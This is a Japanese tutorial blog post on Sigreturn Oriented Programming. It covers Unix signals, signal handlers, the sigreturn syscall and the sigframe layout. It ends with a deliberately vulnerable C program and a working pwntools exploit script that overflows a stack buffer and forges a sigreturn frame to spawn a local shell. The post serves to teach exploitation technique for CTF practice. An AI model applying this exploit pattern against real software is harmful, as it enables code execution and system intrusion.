SROP(Sigreturn Oriented Programming)についてまとめ

## まえがき
SROP(Sigreturn Oriented Programming)について前提知識からまとめる
本記事では以下の概念について扱う。扱う情報に関してカーネルレベルでの実装には、必要がない限り踏み込まない。目的はSROPの理解である
- シグナル
- シグナルハンドラ
- Sigreturnシステムコール
- SROP
なお、ROP(Return Oriented Programming)については理解している前提で話を進める
誤字脱字、誤情報などがあれば報告してほしい

## Sigreturn Oriented Programmingとは
`sigreturn` というシステムコールを使用して、少ないガジェットで、ほぼすべてのレジスタを書き換えるROPのテクニック
以下に必要な知識を順番にまとめる

## シグナルとは
> **シグナル**（[英](https://ja.wikipedia.org/wiki/%E8%8B%B1%E8%AA%9E "英語"): signal）とは、[Unix系](https://ja.wikipedia.org/wiki/Unix%E7%B3%BB "Unix系")（[POSIX](https://ja.wikipedia.org/wiki/POSIX "POSIX")標準に類似の）[オペレーティングシステム](https://ja.wikipedia.org/wiki/%E3%82%AA%E3%83%9A%E3%83%AC%E3%83%BC%E3%83%86%E3%82%A3%E3%83%B3%E3%82%B0%E3%82%B7%E3%82%B9%E3%83%86%E3%83%A0 "オペレーティングシステム") (OS) における、限定的な[プロセス間通信](https://ja.wikipedia.org/wiki/%E3%83%97%E3%83%AD%E3%82%BB%E3%82%B9%E9%96%93%E9%80%9A%E4%BF%A1 "プロセス間通信")であり、[プロセス](https://ja.wikipedia.org/wiki/%E3%83%97%E3%83%AD%E3%82%BB%E3%82%B9 "プロセス")に対し非同期でイベントの発生を伝える機構である。
> [wikipedia](https://ja.wikipedia.org/wiki/%E3%82%B7%E3%82%B0%E3%83%8A%E3%83%AB_(Unix))より引用

### シグナルの例
- `SIGINT`: ユーザーが`Ctrl+C`を押したときに送信される
- `SIGTERM`: プロセスの終了を要求するために送信される。`kill`コマンドを使うことでユーザーから送信できる
-  `SIGKILL`: 強制的にプロセスを終了させる
- `SIGSEGV`: 無効なメモリアクセスが発生した際に送信される。例えばセグメンテーションフォールトが起きた際など

### シグナルの処理の流れ
1. プロセスがシグナルを受信する
2. プロセスの処理を中断。その時点でのコンテキストを保存
3. カーネルがシグナルを処理
4. コンテキストを復元。中断した位置から処理を再開

Sigreturn Oriented Programmingでは、この流れのうちコンテキストを復元する箇所が肝になる
基本的には、カーネルはシグナルをシグナルごとに定まる標準動作で処理する
ユーザーがシグナルに対する動作を定義し、設定していた場合、その処理に従う

### シグナル名
`kill -l`コマンドを使用することでシグナル番号とシグナル名の一覧を確認することができる
```console
kill -l
 1) SIGHUP       2) SIGINT       3) SIGQUIT      4) SIGILL       5) SIGTRAP
 6) SIGABRT      7) SIGBUS       8) SIGFPE       9) SIGKILL     10) SIGUSR1
11) SIGSEGV     12) SIGUSR2     13) SIGPIPE     14) SIGALRM     15) SIGTERM
16) SIGSTKFLT   17) SIGCHLD     18) SIGCONT     19) SIGSTOP     20) SIGTSTP
21) SIGTTIN     22) SIGTTOU     23) SIGURG      24) SIGXCPU     25) SIGXFSZ
26) SIGVTALRM   27) SIGPROF     28) SIGWINCH    29) SIGIO       30) SIGPWR
31) SIGSYS      34) SIGRTMIN    35) SIGRTMIN+1  36) SIGRTMIN+2  37) SIGRTMIN+3
38) SIGRTMIN+4  39) SIGRTMIN+5  40) SIGRTMIN+6  41) SIGRTMIN+7  42) SIGRTMIN+8
43) SIGRTMIN+9  44) SIGRTMIN+10 45) SIGRTMIN+11 46) SIGRTMIN+12 47) SIGRTMIN+13
48) SIGRTMIN+14 49) SIGRTMIN+15 50) SIGRTMAX-14 51) SIGRTMAX-13 52) SIGRTMAX-12
53) SIGRTMAX-11 54) SIGRTMAX-10 55) SIGRTMAX-9  56) SIGRTMAX-8  57) SIGRTMAX-7
58) SIGRTMAX-6  59) SIGRTMAX-5  60) SIGRTMAX-4  61) SIGRTMAX-3  62) SIGRTMAX-2
63) SIGRTMAX-1  64) SIGRTMAX
```

シグナルを送信することでOSはプロセスの処理に対して割り込むことができる。

## シグナルハンドラとは
シグナルハンドラとは、プロセスがシグナルを受け取った際に行う処理をユーザーで定義することのできるものである

### シグナルハンドラの実装例
以下のような形でシグナルハンドラを実装することができる
この場合は`Ctrl+C`でプロセスを終了する前に、`handle_sigint`関数が実行される。`exit(0)`をコメントアウトすると`Ctrl+C`を入力してもプロセスが終了しなくなる
```c
#include <stdio.h>
#include <signal.h>
#include <stdlib.h>

void handle_sigint(int sig) {
    printf("Caught signal %d\n", sig);
    exit(0);
}

int main() {
    // SIGINTシグナルのハンドラを設定
    signal(SIGINT, handle_sigint);

    while (1) {
        printf("Running...\n");
        sleep(1);
    }
    return 0;
}

```

## sigreturnとは
Sigreturnとは、Unix系のOSにおいて、シグナルハンドルからの復帰に使用されるシステムコールのこと
[sigreturn(2) Linux manual page](https://man7.org/linux/man-pages/man2/sigreturn.2.html)
前述したように、プロセスがシグナルを受信すると割り込みが発生する
そして、割り込み処理が終わった後に、割り込まれた位置から処理を再開する
中断された位置から処理を再開するためには、プロセス中断時のスタックやレジスタの情報を保持しておき、再開時に復元する必要がある
この復元に使用されるシステムコールが**sigreturn**である

## sigreturnの処理
`sigreturn`が呼ばれると、スタック上に配置されている"sigframe"が参照され、これによってコンテキストの復元を行う

であるならば、`sigreturn`を単体で呼び出したうえで、スタック上に偽の`sigframe`を配置すれば、ほぼすべてのレジスタの中身を好きに書き換えることができるのではないか? というのがSROPの仕組みとなる

# Sigreturn Oriented Programming
遂に本題のSROPの話に入る
sigreturnを使用すれば多くのガジェットがなくとも、様々なレジスタの値を書き換えることができる
ただし、SROPをするには以下の条件が必要である
- `rax`を書き換え可能であること
	- システムコール番号を設定するため
- `syscall`, もしくは`int 0x80`のガジェットがあること
	- とにかくシステムコールが呼べればよい
- スタックに十分な書き込み可能なスペースがあること
	- sigframeを書き込むため。sigframeはそこそこ大きい

また、sigframeがスタック上でどのように配置されるかについても把握しておく必要がある
sigframeは以下のように配置される
```
+--------------------+--------------------+
| rt_sigeturn()      | uc_flags           |
+--------------------+--------------------+
| &uc                | uc_stack.ss_sp     |
+--------------------+--------------------+
| uc_stack.ss_flags  | uc.stack.ss_size   |
+--------------------+--------------------+
| r8                 | r9                 |
+--------------------+--------------------+
| r10                | r11                |
+--------------------+--------------------+
| r12                | r13                |
+--------------------+--------------------+
| r14                | r15                |
+--------------------+--------------------+
| rdi                | rsi                |
+--------------------+--------------------+
| rbp                | rbx                |
+--------------------+--------------------+
| rdx                | rax                |
+--------------------+--------------------+
| rcx                | rsp                |
+--------------------+--------------------+
| rip                | eflags             |
+--------------------+--------------------+
| cs / gs / fs       | err                |
+--------------------+--------------------+
| trapno             | oldmask (unused)   |
+--------------------+--------------------+
| cr2 (segfault addr)| &fpstate           |
+--------------------+--------------------+
| __reserved         | sigmask            |
+--------------------+--------------------+
```
出典: [Backdoorctf Funsignals](https://guyinatuxedo.github.io/16-srop/backdoor_funsignals/index.html#backdoorctf-funsignals)

## Exploitation
以下のコードを例に試してみる
```c
static const char* shell = "/bin/sh";

int set_eax() {  return 15; }
void fire()   {     asm("syscall");    }

int main() {
  char buf[30];
  const int read_b = read(0, buf, 1000);
  return 0;
}
```
SROPに必要なガジェットとBoFを用意した
以下のコマンドでコンパイルする
```bash
gcc srop.c -no-pie -fno-stack-protector -o chal.out
```
攻撃にはおなじみpwntoolsを使用する。`sigframe`を人力で作るのは面倒だし難しいのでpwntoolsに任せる
```python
from pwn import *

context.arch = "amd64"

io = process("./chal.out")
elf = ELF("./chal.out")

set_eax = elf.symbols["set_eax"]
syscall = elf.symbols["fire"] + 8
binsh = next(elf.search(b"/bin/sh"))

payload = b"A" * 0x38
payload += p64(set_eax)
payload += p64(syscall)

frame = SigreturnFrame()
frame.rip = syscall
frame.rdi = binsh
frame.rax = 0x3B

payload += bytes(frame)

io.sendline(payload)
io.interactive()
```
`SigreturnFrame()`で`sigframe`を作成することができる
詳しいドキュメントは以下にある
- https://docs.pwntools.com/en/stable/rop/srop.html
`context`でアーキテクチャを明示しないと`SigreturnFrame`が作成できない点に注意する
```bash
$ python3 solve.py
[+] Starting local process './chal.out': pid 120162
[*] '/home/nanakusa/CTF/pwn_tech/srop/chal.out'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
    SHSTK:    Enabled
    IBT:      Enabled
[*] Switching to interactive mode
$ ls
chal.out  solve.py  srop.c
```
実行するとシェルを奪うことができた
## 参考文献
- [Linux シグナルの基本と仕組み (カーネル v5.5 時点)](https://qiita.com/Kernel_OGSun/items/e96cef5487e25517a576)
- [signal(7) 日本語](https://ja.manpages.org/signal/7)
- [sigreturn(2) Linux manual page](https://man7.org/linux/man-pages/man2/sigreturn.2.html)
- [ポン中のハシビロコウ SROP入門](https://sh0ebill.hatenablog.com/)
- [x64でSigreturn Oriented ProgrammingによるASLR+DEP+RELRO回避をやってみる](https://inaz2.hatenablog.com/entry/2014/07/30/021123)
- [Backdoorctf Funsignals](https://guyinatuxedo.github.io/16-srop/backdoor_funsignals/index.html#backdoorctf-funsignals)
- [SROP - Sigreturn-Oriented Programming](https://book.hacktricks.xyz/binary-exploitation/rop-return-oriented-programing/srop-sigreturn-oriented-programming)
- [pwnlib.rop.srop](https://docs.pwntools.com/en/stable/rop/srop.html#module-pwnlib.rop.srop "pwnlib.rop.srop")
- [simple srop tutrial](https://github.com/zwimer/srop)